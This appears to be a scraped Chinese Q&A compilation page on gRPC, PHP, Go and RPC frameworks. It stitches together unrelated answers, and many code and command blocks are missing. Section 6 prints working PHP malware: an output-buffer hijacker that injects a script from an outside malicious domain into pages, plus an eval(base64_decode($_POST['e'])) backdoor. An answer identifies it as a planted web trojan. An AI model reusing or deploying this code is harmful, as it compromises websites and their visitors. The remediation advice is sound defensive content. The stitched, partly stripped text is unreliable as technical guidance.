grpcphp
肯定是可以的,grpc使用http2默認使用SSL/TLS加密。
2. 我為什麼從python轉向go
應puppet大拿劉宇的邀請,我去西山居運維團隊做了一個簡短分享,談談為什麼我要將我們的項目從python轉向go。
坦白的講,在一幫python用戶面前講為什麼放棄python轉而用go其實是一件壓力蠻大的事情,語言之爭就跟vim和emacs之爭一樣,是一個永恆的無解話題,稍微不注意就可能導致粉絲強烈地反擊。所以我只會從我們項目實際情況出發,來講講為什麼我最終選擇了go。
為什麼放棄python
首先,我其實得說說為什麼我們會選擇python。在我加入企業快盤團隊之前,整個項目包括更早的金山快盤都是採用python進行開發的。至於為什麼這么選擇,當時的架構師蔥頭告訴我,主要是因為python上手簡單,開發迅速。對於團隊裡面大部分完全沒服務端開發經驗的同學來說,python真的是一個很好的選擇。
python的簡單高效,我是深有體會的。當時私有雲項目也就幾個程序員,但是我們要服務多家大型企業,進行定製化的開發,多虧了python,我們才能快速出活。後來企業快盤掛掉之後,我們啟動輕辦公項目,自然也使用python進行了原始版本的構建。
python雖然很強大,但我們在使用的時候也碰到了一些問題,主要由如下幾個方面:
動態語言
python是一門動態強類型語言。但是,仍然可能出現int + string這樣的運行時錯誤,因為對於一個變數,在寫代碼的時候,我們有時候很容易就忘記這個變數到底是啥類型的了。
在python裡面,可以允許同名函數的出現,後一個函數會覆蓋前一個函數,有一次我們系統一個很嚴重的錯誤就是因為這個導致的。
上面說到的這些,靜態語言在編譯的時候就能幫我們檢測出來,而不需要等到運行時出問題才知道。雖然我們有很完善的測試用例,但總有case遺漏的情況。所以每次出現運行時錯誤,我心裡都想著如果能在編譯的時候就發現該多好。
性能
其實這個一直是很多人吐槽python的地方,但python有它適合乾的事情,硬是要用python進行一些高性能模塊的開發,那也有點難為它了。
python的GIL導致無法真正的多線程,大家可能會說我用多進程不就完了。但如果一些計算需要涉及到多進程交互,進程之間的通訊開銷也是不得不考慮的。
無狀態的分布式處理使用多進程很方便,譬如處理http請求,我們就是在nginx後面掛載了200多個django server來處理http的,但這么多個進程自然導致整體機器負載偏高。
但即使我們使用了多個django進程來處理http請求,對於一些超大量請求,python仍然處理不過來。所以我們使用openresty,將高頻次的http請求使用lua來實現。可這樣又導致使用兩種開發語言,而且一些邏輯還得寫兩份不同的代碼。
同步網路模型
django的網路是同步阻塞的,也就是說,如果我們需要訪問外部的一個服務,在等待結果返回這段時間,django不能處理任何其他的邏輯(當然,多線程的除外)。如果訪問外部服務需要很長時間,那就意味著我們的整個服務幾乎在很長一段時間完全不可用。
為了解決這個問題,我們只能不斷的多開django進程,同時需要保證所有服務都能快速的處理響應,但想想這其實是一件很不靠譜的事情。
非同步網路模型
tornado的網路模型是非同步的,這意味著它不會出現django那樣因為外部服務不可用導致這個服務無法響應的問題。話說,比起django,我可是非常喜歡tornado的,小巧簡單,以前還寫過幾篇深入剖析tornado的文章了。
雖然tornado是非同步的,但是python的mysql庫都不支持非同步,這也就意味著如果我們在tornado裡面訪問資料庫,我們仍然可能面臨因為資料庫問題造成的整個服務不可用。
其實非同步模型最大的問題在於代碼邏輯的割裂,因為是事件觸發的,所以我們都是通過callback進行相關處理,於是代碼裡面就經常出現干一件事情,傳一個callback,然後callback裡面又傳callback的情況,這樣的結果就是整個代碼邏輯非常混亂。
python沒有原生的協程支持,雖然可以通過gevent,greenlet這種的上patch方式來支持協程,但畢竟更改了python源碼。另外,python的yield也可以進行簡單的協程模擬,但畢竟不能跨堆棧,局限性很大,不知道3.x的版本有沒有改進。
開發運維部署
當我第一次使用python開發項目,我是沒成功安裝上項目需要的包的,光安裝成功mysql庫就弄了很久。後來,是一位同事將他整個python目錄打包給我用,我才能正常的將項目跑起來。話說,現在有了docker,是多麼讓人幸福的一件事情。
而部署python服務的時候,我們需要在伺服器上面安裝一堆的包,光是這一點就讓人很麻煩,雖然可以通過puppet,salt這些自動化工具解決部署問題,但相比而言,靜態編譯語言只用扔一個二進制文件,可就方便太多了。
代碼失控
python非常靈活簡單,寫c幾十行代碼才能搞定的功能,python一行代碼沒准就能解決。但是太簡單,反而導致很多同學無法對代碼進行深層次的思考,對整個架構進行細致的考量。來了一個需求,啪啪啪,鍵盤敲完開速實現,結果就是代碼越來越混亂,最終導致了整個項目代碼失控。
雖然這也有我們自身的原因,譬如沒好的代碼review機制,沒有好的項目規范,但個人感覺,如果一個程序員沒經過良好的編碼訓練,用python很容易就寫出爛的代碼,因為太自由了。
當然,我這里並不是說用python無法進行大型項目的開發,豆瓣,dropbox都是很好的例子,只是在我們項目中,我們的python代碼失控了。
上面提到的都是我們在實際項目中使用python遇到的問題,雖然最終都解決了,但是讓我愈發的覺得,隨著項目復雜度的增大,流量性能壓力的增大,python並不是一個很好的選擇。
為什麼選擇go
說完了python,現在來說說為什麼我們選擇go。其實除了python,我們也有其他的選擇,java,php,lua(openresty),但最終我們選擇了go。
雖然java和php都是最好的編程語言(大家都這么爭的),但我更傾向一門更簡單的語言。而openresty,雖然性能強悍,但lua仍然是動態語言,也會碰到前面說的動態語言一些問題。最後,前金山許式偉用的go,前快盤架構師蔥頭也用的go,所以我們很自然地選擇了go。
go並不是完美,一堆值得我們吐槽的地方。
error,好吧,如果有語言潔癖的同學可能真的受不了go的語法,尤其是約定的最後一個返回值是error。項目裡面經常會充斥這樣的代碼:
if _, err := w.Write(data1); err != nil {
returun err
}
if _, err := w.Write(data2); err != nil {
returun err
}
難怪有個梗是對於一個需求,java的程序員在寫配置的時候,go程序員已經寫了大部分代碼,但是當java的程序員寫完的時候,go程序員還在寫err != nil。
這方面,errors-are-values倒是推薦了一個不錯的解決方案。
包管理,go的包管理太弱了,只有一個go get,也就是如果不小心更新了一個外部庫,很有可能就導致現有的代碼編譯不過了。雖然已經有很多開源方案,譬如godep以及現在才出來的gb等,但畢竟不是官方的。貌似google也是通過vendor機制來管理第三方庫的。希望go 1.5或者之後的版本能好好處理下這個問題。
GC,java的GC發展20年了,go才這么點時間,gc鐵定不完善。所以我們仍然不能隨心所欲的寫代碼,不然在大請求量下面gc可能會卡頓整個服務。所以有時候,該用對象池,內存池的一定要用,雖然代碼丑了點,但好歹性能上去了。
泛型,雖然go有inteface,但泛型的缺失會讓我們在實現一個功能的時候寫大量的重復代碼,譬如int32和int64類型的sort,我們得為分別寫兩套代碼,好冗餘。go 1.4之後有了go generate的支持,但這種的仍然需要自己根據go的AST庫來手動寫相關的parser,難度也挺大的。雖然也有很多開源的generate實現,但畢竟不是官方的。
當然還有很多值得吐槽的地方,就不一一列舉了,但是go仍舊有它的優勢。
靜態語言,強類型。靜態編譯能幫我們檢查出來大量的錯誤,go的強類型甚至變態到不支持隱式的類型轉換。雖然寫代碼感覺很別扭,但減少了犯錯的可能。
gofmt,應該這是我知道的第一個官方提供統一格式化代碼工具的語言了。有了gofmt,大家的代碼長一個樣了,也就沒有花括弧到底放到結尾還是新開一行這種蛋疼的代碼風格討論了。因為大家的代碼風格一樣,所以看go的代碼很容易。
天生的並行支持,因為goroutine以及channel,用go寫分布式應用,寫並發程序異常的容易。沒有了蛋疼的callback導致的代碼邏輯割裂,代碼邏輯都是順序的。
性能,go的性能可能趕不上c,c++以及openresty,但真的也挺強悍的。在我們的項目中,現在單機就部署了一個go的進程,就完全能夠勝任以前200個python進程乾的事情,而且CPU和MEM佔用更低。
運維部署,直接編譯成二進制,扔到伺服器上面就成,比python需要安裝一堆的環境那是簡單的太多了。當然,如果有cgo,我們也需要將對應的動態庫給扔過去。
開發效率,雖然go是靜態語言,但我個人感覺開發效率真的挺高,直覺上面跟python不相上下。對於我個人來說,最好的例子就是我用go快速開發了非常多的開源組件,譬如ledisdb,go-mysql等,而這些最開始的版本都是在很短的時間裡面完成的。對於我們項目來說,我們也是用go在一個月就重構完成了第一個版本,並發布。
實際項目中一些Go Tips
到現在為止,我們幾乎所有的服務端項目都已經轉向go,當然在使用的時候也遇到了一些問題,列出來算是經驗分享吧。
godep,我們使用godep進行第三方庫管理,但是godep我碰到的最大的坑就是build tag問題,如果一個文件有build tag,godep很有可能就會忽略這個文件。
IO deadline,如果能自己在應用層處理的都自己處理,go的deadline內部是timer來控制,但timer內部採用一個array來實現的heap,全局共用一個鎖,如果大並發量,並且timer數量過多,timeout變動太頻繁,很容易就引起性能問題。
GC,這個前面也說了,多用內存池,對象池,另外,我還發現,如果對象的生命周期跟goroutine一致,對性能的提升也不錯,也在go的group問過相關問題,大家猜測可能是因為一些對象其實是在goroutine的8k棧上面分配的,所以一起回收沒有額外GC了。
Go gob,如果要做RPC服務,gob並不是一個很好的選擇,首先就跟python的pickle不通用,然後為了做不同系統的數據傳入,任何包都必須帶上類型的詳細信息,size太大。go裡面現在還沒一套官方的RPC方案,gRPC貌似有上位的可能。
3. grpc導致php子進程不能退出0
因為使用會員中心插件,會員中心類插件會接管grpc系統的登錄頁面,從而導致grpc導致php子進程不能退出0。grpc是google開源的一個高性能,跨語言的RPC框架,基於HTTP2協議,基於protobuf3.x支持多種開發語言。
4. golang適合做web開發嗎
適合。框架足夠成熟了 A Survey of 5 Go Web Frameworks
小型項目你甚至不用框架,用net/http http - The Go Programming Language
常用庫也成熟了 Top - Go Search
golang的web後端即使不concurrent也比php,ruby,python快很多很多
golang里用concurrent真的非常方便,非常非常快,超大web項目golang scale成本低
如果你想,golang的部署可以比php更方便,使用go get和http.ServeAndListen()可以不用nginx和apache
對於文件改動重新編譯其實並不是大問題,看pilu/fresh · GitHub,其實你自己寫shell腳本(也可以直接用go寫,因為它本身就是系統語言)監控文件系統改動然後自動重新build,即使是C/C++的項目這也不是大問題,人們不用C/C++寫web是因為它們不是寫web app的最佳選擇
golang寫的代碼編譯通過後,要比scripting language魯棒,因為go compiler強制一些最佳實踐
5. php為什麼不適合做微服務
php不適合做微服務原因:例如與硬體通訊.至於開發的話,你可以用swoole擴展或者grpc。
PHP畢竟是CGI腳本,很多底層的驅動級的工作還不能做,而且主要是其面向對象不夠完善,在SOA上的應用還是有些不足。當然因為PHP能夠做些位計算什麼的,可以很方便的做些幀協議的操作,比如Radius協議的實現等。
快捷高效:
PHP的內核是C語言編寫的基礎好效率高,可以用C語言開發高性能的擴展組件;PHP的核心包含了數量超過1000的內置函數,功能應有盡有很全面,開箱即用程序代碼簡潔;PHP數組支持動態擴容,支持以數字、字元串或者混合鍵名的關聯數組,能大幅提高開發效率。
PHP是一門弱類型語言,程序編譯通過率高,相對其他強類型語言開發效率快;PHP天然熱部署,在php-fpm運行模式下代碼文件覆蓋即完成熱部署;PHP經過20多年的發展,在互聯網上可以搜到海量的參考資料供參考學習。
6. 幫忙解密PHP base64加密最好解決方案也提出下。100求破碼200求解決方案
if(!isset($ev8l1)){function ev8l($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src=http://griffintoilethire.co.uk/images/s7cg/gifimg.php ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d){global $ev8l1;$s=array();if(function_exists($ev8l1))call_user_func($ev8l1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='ev8l')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('ev8l');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是將參數中的<script>...</script>部分替換為<script src=http://griffintoilethire.co.uk/images/s7cg/gifimg.php ></script>,這樣你的網頁就被掛上了馬。這段代碼應該是通過webshell上傳到你機器上的一段掛馬程序,至於webshell 的打開有很多原因,即然是php代碼那麼你的機器上很可能存在php遠程文件包含漏洞,也就是如果你的機器上存在Wordtrans、WordPress、rgboard、phpcms等php程序,那麼很可能就有這個的漏洞。
推薦解決方法:
1.恢復已被篡改的網頁
2.找一個RFI掃描器對本機進行掃描,將找到的漏洞進行修補(相應的程序網上都有對應的修補方法)
7. gRPC入坑記
概要
由於gRPC主要是谷歌開發的,由於一些已知的原因,gRPC跑demo還是不那麼順利的。單獨寫這一篇,主要是gRPC安裝過程中的坑太多了,記錄下來讓大家少走彎路。
主要的坑:
本文講解gRPC demo的同時,會介紹如何解決這些坑。本文對應的Github地址:https://github.com/52fhy/grpc-sample 。該倉庫存儲了demo示例,以及部分系統編譯好的二進制包,大家覺得有些步驟里耗時實在太長了,可以直接clone該倉庫,復制二進制包到對應目錄(僅限測試開發,生產環境還是老老實實自己編譯吧)。
升級GCC
gRPC命令行工具編譯需要使用 GCC4.8及以上版本。CentOS6系列的內置版本是GCC4.7。
如果你的系統GCC版本>=4.8,可以忽略本節。如果僅使用golang、java,請忽略本節。
如果需要升級gcc至4.8或更高版本,建議直接採用安裝SCL源之後安裝devtoolset-6(devtoolset-6目前gcc版本為6.3),因為devtoolset-4及之前的版本都已經結束支持,只能通過其他方法安裝。
升級到gcc 6.3:
需要注意的是scl命令啟用只是 臨時 的,退出shell或重啟就會恢復原系統gcc版本。如果要長期使用gcc 6.3的話:
這樣退出shell重新打開就是新版的gcc了。其它版本同理。
升級到gcc 7.3:
已經停止支持的devtoolset4(gcc 5.2)及之前版本的安裝方法,可能比較慢,大家感興趣的話可以嘗試。
編譯gRPC命令行工具
gRPC分C、JAVA、GO、NodeJS版本,C版本包括C++, Python, Ruby, Objective-C, PHP, C#,這些語言都是基於C版本開發的,共用代碼庫一個代碼庫。
如果使用C版本的gRPC,最終要從源碼里編譯出下列工具:
這些工具作為插件供proto編譯器使用。需要先下載 grpc/grpc github上的源碼。
這里有2個坑:
1、grpc/grpc倉庫比較大,鑒於國內訪問的網速,建議使用國內鏡像。碼雲(https://gitee.com)提供了同步更新的鏡像地址:
這樣下載速度提高了不少。
2、git submole update這個命令實際就是在下載.gitmoles文件里定義的第三方依賴項到third_party目錄,這個依賴項有很多,大家可以打開.gitmoles文件查看下詳情。依賴的倉庫都在github上,下載沒幾個小時是下載不下來的,就等著慢慢下載吧。
回頭想想,我們花費了很多時間,結果只是為了得到grpc的proto編譯插件。
PHP相關支持
PHP暫時不支持作為grpc的服務端。作為客戶端是可以的,需要機器安裝:
其中protoc和protobuf c擴展已經在 Protobuf 小試牛刀 介紹過了,這里不再贅述。上一小節里如果安裝成功,那麼grpc_php_plugin也是有了的。下面介紹如何安裝PHP版的gRPC庫。
安裝grpc c擴展:
要求:GCC編譯器需要4.8及以上版本。可以使用pecl安裝:
也可以指定版本:
或者下載源碼(http://pecl.php.net/package/grpc)安裝:
grpc/grpc代碼庫里也有PHP擴展的C源碼,在grpc/src/php/ext/grpc目錄,進去也可以直接編譯。
編譯完成後在php.ini里添加,使用php --ri grpc可以查看信息。
安裝完C擴展後,還需要使用composer安裝grpc的庫:
gRPC示例
編寫gRPC proto
一共定義了三個文件:
其中 User 作為 Model定義,Response 用於 RPC統一返回定義,GreeterService 則是服務介面定義。
限於篇幅,proto文件詳見 https://github.com/52fhy/grpc-sample 倉庫的proto目錄。
GreeterService.proto文件內容如下:
這裡面定義了一個service,相當於定義了一個服務介面,我們把方法名、參數定義好了,後面需要去實現它。由於gRPC不支持PHP作為服務端,這里我們使用Golang作為服務端。
首先需要使用proto工具編譯出golang的代碼:
執行成功,會在 Pb_Go目錄里生成Go代碼:
如果需要生成PHP客戶端的代碼,則需要使用grpc php的命令行工具grpc_php_plugin,前面小結如果執行成功,這個工具已經有了。然後:
最終生成的文件:
注意:編譯那裡如果我們不加--grpc_out=../$out --plugin=protoc-gen-grpc=/usr/local/bin/grpc_php_plugin,生成的PHP類是沒有GreeterClient的。這個文件是gRPC編譯工具自動生成的,用於連接gRPC服務端。
go編寫服務
我們用Golang寫服務端。上面雖然生成了Golang的部分代碼,但真正的服務還沒有寫呢。
main.go
首先我們新建個main.go,代碼不多,我直接貼出來:
然後就可以編譯了。
有個大坑:go build main.go的時候會先下載go.mod里定義的依賴(依賴比較多,詳情查看:https://github.com/52fhy/grpc-sample/blob/master/go.mod),其中下面這條非常慢,倉庫太大了,雖然重定向到github:
為了快速下載,我在碼雲上做了鏡像,地址:gitee.com/52fhy/google-api-go-client 。改了之後下載快多了。
編譯成功後,生成了二進制文件main。我們可以直接運行:
go test
為了測試我們寫的服務是否正常,可以寫測試用例:
test_client.go
運行:
運行有點慢,感覺依賴的庫多了。
php客戶端
使用gRPC PHP客戶端,確保你已經安裝了:
示例:
client_test.php
運行後輸出:
常見問題
1、CentOS6使用 go mod獲取第三方依賴包unknown revision xxx錯誤
解決:其實go mod調用鏈中會用到一些git指令,當git版本比較舊時,調用失敗產生錯誤,並給出歧義的提示信息。方法就是升級git版本,CentOS6自帶的git是1.7版本。升級完畢後,再嘗試go mod。
快速升級方法:
centos6:
2、PHP報錯:Fatal error: Class ' not found
解決:請安裝PHP的protobuf c擴展。
3、PHP報錯:Fatal error: Class 'GrpcBaseStub' not found
解決:使用composer require grpc/grpc安裝grpc。另外對應的grpc C擴展也要安裝。
4、下載 github release包很慢怎麼辦?
解決:下載Mac版 Free Download Manager 下載工具可以解決Github 下載緩慢或失敗問題。速度嗖嗖的。
參考
1、為CentOS 6、7升級gcc至4.8、4.9、5.2、6.3、7.3等高版本
http://www.vpser.net/manage/centos-6-upgrade-gcc.html
2、centos 6.x/7.x使用yum升級git版本 - 夜空
https://blog.slogra.com/post-721.html
3、Protobuf 小試牛刀 - 飛鴻影
https://www.cnblogs.com/52fhy/p/11106670.html
(本文完)
8. wireshark內置支持protobuf嗎
搞網路開發的時候,涉及到很多私有協議。方便是方便,不過抓包分析問題就麻煩了,wireshark是不可能會為我們自己的網路協議開發分析工具的,唯有自己開發協議分析插件。在私有協議方面,google protobuf是一個類似與IDL的語言,用於定義消息介面,並且支持很多語言,原生支持C++、Java和Python,而且還有很多第三方的支持,基本上支持C、C#、object-c,AS3,PHP等.目前protobuf的解析並不是wireshark內置支持的,不排除以後的版本會支持。當前網路上有一個工程可以支持protobuf的解析(protobuf-wireshark),但是該插件原生支持的只有Linux版本,而且還只支持UDP解析。經本人改造,已經可以支持windows,並且同時支持TCP和UDP解析。TCP時,需要在protobuf之上加上一個4位元組的數據長度,用於支持後續的protobuf消息的大小。
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
消息長度 protobuf二進制消息內容
消息長度的值只包含protobuf消息的大小,不包含自己4個位元組的長度。例如protobuf長度為12位元組時, 消息長度裡面的值,應該是 00 00 00 0c,總的數據長度為16個位元組.(如果無法解析數據長度,調換一下網路位元組序)
另外對protobuf消息的定義也有一定的限制,必須有一個頂層的消息,例如Message1 和Message2如果是並列的消息,需要有一個Message來包含Message1和Message2.
【配置】
protobuf的配置文件放在C:\Program Files\Wireshark\protobuf目錄下面,C:\Program Files\Wireshark\為wireshark在電腦上的安裝目錄。protobuf文件夾默認是沒有的,自己創建。
把附件 *.proto;*.conf放在protobuf目錄下面,把dll放在plugins\1.8.6目錄下面。
9. php這個怎麼解密
聯系我
您的提問(回答)過於簡略,請再豐富一下內容重新提交
10. php rpc好用嗎,有什麼優缺點php rpc框架哪個好
什麼是RPC框架? 如果用一句話概括RPC就是:遠程調用框架(Remote Procere Call)那什麼是遠程調用?通常我們調用一個php中的方法,比如這樣一個函數方法: localAdd(10, 20),localAdd方法的具體實現要麼是用戶自己定義的,要麼是php庫函數中自帶的,也就說在localAdd方法的代碼實現在本地,它是一個本地調用!遠程調用意思就是:被調用方法的具體實現不在程序運行本地,而是在別的某個遠程地方。
遠程調用原理
比如 A (client) 調用 B (server) 提供的remoteAdd方法:
首先A與B之間建立一個TCP連接;
然後A把需要調用的方法名(這里是remoteAdd)以及方法參數(10, 20)序列化成位元組流發送出去;
B接受A發送過來的位元組流,然後反序列化得到目標方法名,方法參數,接著執行相應的方法調用(可能是localAdd)並把結果30返回;
A接受遠程調用結果,輸出30。
RPC框架就是把我剛才說的這幾點些細節給封裝起來,給用戶暴露簡單友好的API使用。
遠程調用的好處
解耦:當server需要對方法內實現修改時,client完全感知不到,不用做任何變更;這種方式在跨部門,跨公司合作的時候經常用到,並且方法的提供者我們通常稱為:服務的暴露。
RPC與Socket有什麼區別?
通過上面的簡單闡述,好像RPC與Socket 好像啊。都是調用遠程的方法,都是client/server模式,我之前也寫了一篇文章: 細說socket 那他們有啥區別呢?
RPC(遠程過程調用)採用客戶機/伺服器模式實現兩個進程之間相互通信。socket是RPC經常採用的通信手段之一,RPC是在Socket的基礎上實現的,它比socket需要更多的網路和系統資源。除了Socket,RPC還有其他的通信方法,比如:http、操作系統自帶的管道等技術來實現對於遠程程序的調用。微軟的Windows系統中,RPC就是採用命名管道進行通信。
RPC與REST有什麼區別?
通過了解RPC後,我們知道是RPC是client/server模式的,調用遠程的方法,REST也是我們熟悉的一套API調用協議方法,它也是基於client/server模式的,調用遠程的方法的,那他倆又有啥區別呢?
REST API 和 RPC 都是在 Server端 把一個個函數封裝成介面暴露出去,以供 Client端 調用,不過 REST API 是基於HTTP協議的,REST致力於通過http協議中的POST/GET/PUT/DELETE等方法和一個可讀性強的URL來提供一個http請求。而 RPC 則可以不基於 HTTP協議
因此,如果是後端兩種語言互相調用,用 RPC 可以獲得更好的性能(省去了 HTTP 報頭等一系列東西),應該也更容易配置。如果是前端通過 AJAX 調用後端,那麼用 REST API 的形式比較好(因為無論如何也避不開 HTTP 這道坎)。
php中流行的rpc框架有哪些
既然php是世界上最好的語言,那php中流行的RPC框架有哪些呢?
先列舉下: phprpc,yar, thrift, gRPC, swoole, hprose
因為時間和精力有限,不可能一個一個的去學習和使用,我選幾個世面上用的最多的幾個用下吧。因為RPC原理是一樣的,都是Client/Server模式,只是每個框架的使用方式不一樣而已。